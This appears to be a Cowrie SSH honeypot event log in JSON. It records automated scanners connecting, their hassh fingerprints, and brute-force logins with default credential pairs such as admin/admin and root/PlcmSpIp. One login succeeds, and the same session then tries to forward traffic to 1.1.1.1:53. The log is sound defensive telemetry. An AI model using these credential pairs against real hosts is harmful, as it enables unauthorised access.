{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:25.267118Z","src_ip":"103.75.199.4","session":"209b1f720d3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:25.541255Z","src_ip":"103.75.199.4","session":"209b1f720d3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:26.635858Z","src_ip":"103.75.199.4","session":"209b1f720d3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36620,"dst_ip":"159.203.135.109","dst_port":22,"session":"5108f5c93696","protocol":"ssh","message":"New connection: 45.153.34.114:36620 (159.203.135.109:22) [session: 5108f5c93696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:30.257349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:30.263118Z","src_ip":"45.153.34.114","session":"5108f5c93696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:30.350901Z","src_ip":"45.153.34.114","session":"5108f5c93696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:30.625311Z","src_ip":"45.153.34.114","session":"5108f5c93696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:31.712565Z","src_ip":"45.153.34.114","session":"5108f5c93696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45952,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde09f55c862","protocol":"ssh","message":"New connection: 87.251.64.176:45952 (10.17.0.5:22) [session: fde09f55c862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.031697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.036053Z","src_ip":"87.251.64.176","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.131921Z","src_ip":"87.251.64.176","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36636,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2542f6123ed","protocol":"ssh","message":"New connection: 45.153.34.114:36636 (159.203.135.109:22) [session: e2542f6123ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.315664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.324325Z","src_ip":"45.153.34.114","session":"e2542f6123ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.408249Z","src_ip":"45.153.34.114","session":"e2542f6123ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.425791Z","src_ip":"87.251.64.176","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.524777Z","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.625794Z","src_ip":"87.251.64.176","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.658167Z","src_ip":"45.153.34.114","session":"e2542f6123ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:37.731706Z","src_ip":"87.251.64.176","session":"fde09f55c862","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:38.749821Z","src_ip":"45.153.34.114","session":"e2542f6123ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60464,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcf84a2a446","protocol":"ssh","message":"New connection: 45.153.34.114:60464 (159.203.135.109:22) [session: efcf84a2a446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:44.499022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:44.503697Z","src_ip":"45.153.34.114","session":"efcf84a2a446","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:44.596183Z","src_ip":"45.153.34.114","session":"efcf84a2a446","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:44.906384Z","src_ip":"45.153.34.114","session":"efcf84a2a446","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:46.001559Z","src_ip":"45.153.34.114","session":"efcf84a2a446","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60774,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a974a131773","protocol":"ssh","message":"New connection: 103.75.199.4:60774 (159.203.135.109:22) [session: 2a974a131773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:47.078475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:47.082379Z","src_ip":"103.75.199.4","session":"2a974a131773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:47.172953Z","src_ip":"103.75.199.4","session":"2a974a131773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:47.445342Z","src_ip":"103.75.199.4","session":"2a974a131773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:48.539699Z","src_ip":"103.75.199.4","session":"2a974a131773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38174,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c8b7ca8eeb","protocol":"ssh","message":"New connection: 45.153.34.114:38174 (159.203.135.109:22) [session: 13c8b7ca8eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:51.490614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:51.613302Z","src_ip":"45.153.34.114","session":"13c8b7ca8eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:51.627431Z","src_ip":"45.153.34.114","session":"13c8b7ca8eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:51.958375Z","src_ip":"45.153.34.114","session":"13c8b7ca8eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:53.045614Z","src_ip":"45.153.34.114","session":"13c8b7ca8eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":58236,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46c530d70c3","protocol":"ssh","message":"New connection: 20.203.42.204:58236 (159.203.135.109:22) [session: d46c530d70c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:53.065700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:53.070121Z","src_ip":"20.203.42.204","session":"d46c530d70c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:53.247626Z","src_ip":"20.203.42.204","session":"d46c530d70c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PlcmSpIp","message":"login attempt [root/PlcmSpIp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:53.985700Z","src_ip":"20.203.42.204","session":"d46c530d70c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:55.165567Z","src_ip":"20.203.42.204","session":"d46c530d70c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38180,"dst_ip":"159.203.135.109","dst_port":22,"session":"b330cc617f19","protocol":"ssh","message":"New connection: 45.153.34.114:38180 (159.203.135.109:22) [session: b330cc617f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:58.778002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:58.784320Z","src_ip":"45.153.34.114","session":"b330cc617f19","protocol":"ssh"}
